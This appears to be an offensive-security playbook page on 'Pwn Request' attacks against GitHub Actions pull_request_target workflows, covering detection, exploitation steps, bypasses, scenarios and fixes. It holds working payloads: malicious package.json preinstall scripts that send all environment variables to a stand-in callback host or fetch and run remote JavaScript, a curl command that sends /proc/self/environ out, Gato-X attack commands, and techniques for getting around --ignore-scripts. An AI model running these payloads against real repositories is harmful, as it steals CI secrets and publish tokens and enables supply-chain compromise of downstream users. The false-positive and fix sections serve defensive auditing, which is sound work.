Pwn request

Pwn Request

What Is Broken and Why

A "Pwn Request" occurs when a pull_request_target workflow — which runs in the context of the base repository with access to its secrets — explicitly checks out the PR contributor's code and executes it (via npm install, make, build scripts, etc.). pull_request_target was designed to safely access secrets for things like posting comments on PRs from forks, but developers mistakenly combine it with a checkout of the PR head SHA, collapsing the trust boundary. Any attacker who can open a PR can now execute arbitrary code with the repository's GITHUB_TOKEN and all configured secrets. The npm preinstall/postinstall lifecycle scripts are the most common execution vector — they run automatically during npm install / npm ci with no additional flags required unless --ignore-scripts is explicitly set.

Key Signals

• on: pull_request_target trigger in a workflow file
• actions/checkout step with ref: ${{ github.event.pull_request.head.sha }} or ref: ${{ github.head_ref }}
• Package manager install step after that checkout: npm install, npm ci, yarn, pnpm install
• --ignore-scripts=false explicitly set (overrides safe default) or --ignore-scripts absent
• permissions: contents: write or secrets.* accessible in the same job
• Build/test job that runs attacker's code AND has access to publish tokens or deployment keys
• Cache key derived from hashFiles('**/package.json') — attacker controls package.json

Methodology

1. Find all pull_request_target workflows:

   grep -rln 'pull_request_target' .github/workflows/
   

2. For each, check if actions/checkout references PR head code:

   grep -A5 'actions/checkout' .github/workflows/WORKFLOW.yml | grep 'head.sha\|head_ref'
   

3. Identify what runs after checkout: npm install, yarn, pnpm, make, build scripts.
4. Check if --ignore-scripts is set. If absent or =false, lifecycle scripts execute.
5. Enumerate secrets accessible in the workflow (secrets.* references, environment names).
6. Check if the same cache key is shared with a privileged downstream workflow (release, publish).
7. Craft malicious package.json with payload in preinstall or postinstall.
8. Open a PR from a fork — workflow triggers automatically.
9. Collect exfiltrated secrets via CALLBACK server or OOB DNS.

Payloads & Tools

// Malicious package.json — preinstall exfiltrates all env vars
{
  "name": "target-package",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "curl -sSfL https://CALLBACK/$(printenv | base64 -w0)"
  }
}

// Stage 2: deploy Cacheract for cross-workflow cache poisoning
{
  "scripts": {
    "preinstall": "curl -sSfL https://ATTACKER/cacheract.js > /tmp/r.js && node /tmp/r.js"
  }
}

// Targeting a specific build script (GraphQL-JS pattern)
{
  "scripts": {
    "build:npm": "node resources/build-npm.js && curl -sSfL https://ATTACKER/r.js > /tmp/r.js && node /tmp/r.js"
  }
}

# Find pwn-request candidates at scale with Gato-X
gato-x enumerate --target ORG --type org
gato-x attack --target REPO --pwn-request

# Manual search across an org
gh search code 'pull_request_target' --owner ORG -l yaml | \
  grep -l 'checkout' | xargs grep 'head.sha\|head_ref'

Bypass Techniques

• --ignore-scripts bypass: if set on npm ci but not on a subsequent npm install --prefer-offline, the cached (now poisoned) node_modules still executes — install scripts run on restore
• Indirect script execution: if npm ci --ignore-scripts is used, target the build script directly (npm run build) which may call attacker-controlled scripts
• prepare script: runs on npm install and npm pack — often overlooked vs preinstall/postinstall
• Composite actions: if the workflow calls a composite action checked out from the PR, the action's steps execute with the workflow's permissions
• workflow_run chaining: if the pwn-request workflow uploads artifacts, a downstream workflow_run event may consume them with elevated permissions

Exploitation Scenarios

Scenario 1 — NPM publish token via preinstall (cross-fetch pattern) Setup: pull_request_target workflow checks out PR head, runs npm install using a cache key derived from package.json hash. A separate release workflow restores the same cache key and runs npm publish with NPM_TOKEN. Trigger: Attacker opens PR with preinstall: "node /tmp/cacheract.js" in package.json. Cacheract poisons the shared cache key. Impact: Next release run restores poisoned cache, NPM_TOKEN exfiltrated. Attacker can publish malicious versions of the package to npm (20M weekly downloads).

Scenario 2 — Direct GITHUB_TOKEN theft Setup: pull_request_target with permissions: contents: write checks out PR and runs npm ci. Trigger: preinstall script runs curl -d @/proc/self/environ https://CALLBACK. Impact: GITHUB_TOKEN (write scope) exfiltrated immediately. Attacker can push to protected branches, create releases, modify workflow files.

Scenario 3 — Composite action injection Setup: Workflow calls uses: ./.github/actions/build with ref: ${{ github.event.pull_request.head.sha }}. Trigger: Attacker's PR replaces action.yml with malicious steps. Impact: Attacker's steps execute with the calling workflow's full permissions.

False Positives

• pull_request_target workflow that does NOT checkout the PR head (only base branch code) — safe
• npm ci --ignore-scripts with no subsequent install step — scripts cannot execute
• Workflow only posts comments or labels, never runs code from the PR
• Secrets gated behind an environment: with required reviewers — attacker's job won't get them

Fix Patterns

# WRONG: pull_request_target + PR head checkout + npm install
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    with:
      ref: ${{ github.event.pull_request.head.sha }}
  - run: npm install  # executes attacker's preinstall

# CORRECT option A: separate untrusted build (pull_request) from privileged steps
on: pull_request  # runs with read-only fork token, no secrets
steps:
  - uses: actions/checkout@v4
  - run: npm ci --ignore-scripts

# CORRECT option B: if pull_request_target is needed, never check out PR code
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    # no ref: — checks out base branch only
  - run: echo "Post comment only, no build"

• Always use npm ci --ignore-scripts in CI; run lifecycle scripts explicitly and audited
• Never share cache keys between untrusted (PR) and trusted (release/publish) workflows
• Gate publish jobs behind environments with required reviewers
• Use Gato-X or workflow audits to find pull_request_target + checkout combinations

Related Skills

[[github-actions-script-injection]] is the technique that fires once a pwn-request gets RCE — the preinstall script or build step is effectively an injection point for arbitrary shell commands. [[self-hosted-runner-poisoning]] dramatically amplifies pwn-request impact: code executing on a persistent self-hosted runner can access long-lived credentials, VM state, and infrastructure not reachable from ephemeral GitHub-hosted runners. After secrets are exfiltrated, [[github-actions-cache-poisoning]] can be used as a pivot to affect downstream publish workflows.